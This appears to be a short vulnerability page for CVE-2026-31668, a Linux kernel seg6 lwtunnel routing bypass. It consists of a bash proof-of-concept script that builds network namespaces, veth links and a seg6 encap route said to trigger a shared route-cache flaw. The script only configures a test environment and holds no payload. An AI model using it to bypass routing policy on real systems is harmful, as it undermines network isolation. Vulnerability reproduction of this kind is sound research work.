CVE-2026-31668 Linux内核seg6 lwtunnel路由绕过漏洞

#!/bin/bash # PoC Setup for CVE-2026-31668 # This script demonstrates a network setup where the dst_cache sharing issue can be observed. # It creates two namespaces with different routing rules sharing a seg6 tunnel. ip netns add ns_input ip netns add ns_output # Create links ip link add veth_in type veth peer name veth_root_in ip link add veth_out type veth peer name veth_root_out ip link set veth_in netns ns_input ip link set veth_out netns ns_output # Configure interfaces ip netns exec ns_input ip link set lo up ip netns exec ns_input ip link set veth_in up ip netns exec ns_input ip -6 addr add fc00::1/64 dev veth_in ip netns exec ns_output ip link set lo up ip netns exec ns_output ip link set veth_out up ip netns exec ns_output ip -6 addr add fc00::2/64 dev veth_out ip link set veth_root_in up ip link set veth_root_out up ip -6 addr add fc00::254/64 dev veth_root_in ip -6 addr add fc00::253/64 dev veth_root_out # Add Seg6 routes that trigger the shared cache vulnerability # In a vulnerable kernel, traffic might jump between contexts incorrectly. ip -6 route add fc00::100 encap seg6 mode encap segs fc00::1 dev veth_root_in echo "[+] Environment configured. Traffic analysis required to verify bypass."